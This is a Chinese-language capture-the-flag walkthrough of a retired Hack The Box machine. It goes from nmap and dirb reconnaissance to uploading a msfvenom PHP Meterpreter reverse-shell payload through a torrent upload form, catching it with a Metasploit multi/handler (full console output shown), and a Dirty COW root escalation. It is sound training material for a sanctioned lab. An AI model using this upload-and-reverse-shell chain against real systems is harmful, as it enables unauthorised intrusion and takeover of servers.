简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
链接:https://www.hackthebox.eu/home/machines/profile/4
描述:
注:因为是已经退役的靶机所以现在的ip地址与信息卡中的并不一致。
本次演练使用kali系统按照渗透测试的过程进行操作,首先对该靶机进行探测,获取端口与版本信息根据各个开放端口的版本,通过目录扫描爬取到网页管理界面,通过文件上传木马文件,最后利用脏牛提权获取root权限。
ip地址为:10.129.106.162
nmap -sV -A -O 10.129.106.162
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.12 ((Ubuntu))
进入80端口查看前端源代码没有发现可利用的信息
通过dirb进行目录扫描获取到两个有用的网页
http://10.129.106.162/test
http://10.129.106.162/torrent/
(1)通过第一个链接获取相应的系统版本信息
查看PHP版本与信息
(2)第二个链接是一个登录页面并且可以上传文件
我们可以申请一个新的账号进行登录尝试上传
注册账号,尝试文件上传
首先需要上传一个torrent文件
随意在网上下载一个即可
编辑torrent上传脚本本文件
生成脚本文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.57 LPORT=4444 -f raw > shell.php
使用burp修改脚本信息,进行上传
成功上传,进入相应目录下查看是否上传成功
发现名称被更改但是不影响利用
使用msf进行连接
msf6 > search php/meterpreter_reverse_tcp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
Interact with a module by name or index. For example info 0, use 0 or use payload/php/meterpreter_reverse_tcp
msf6 > use payload/php/meterpreter_reverse_tcp
msf6 payload(php/meterpreter_reverse_tcp) > show options
Module options (payload/php/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
msf6 payload(php/meterpreter_reverse_tcp) > set 10.10.14.57
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.
If setting a PAYLOAD, this command can take an index from `show payloads'.
msf6 payload(php/meterpreter_reverse_tcp) > set LHOST 10.10.14.57
LHOST => 10.10.14.57
msf6 payload(php/meterpreter_reverse_tcp) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LHOST 10.10.14.57
LHOST => 10.10.14.57
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > exploit
获取shell
python -c "import pty;pty.spawn('/bin/bash')"
发现sudo -l命令无法使用
uname -a 查看内核版本
发现可以使用脏牛提权
执行成功
因为对msf使用的不是特别熟练,所以在反弹shell的时候遇到了一些问题,建议遇到不会的就进行谷歌自己动手找得到的永远比别人直接告诉自己的要印象深刻。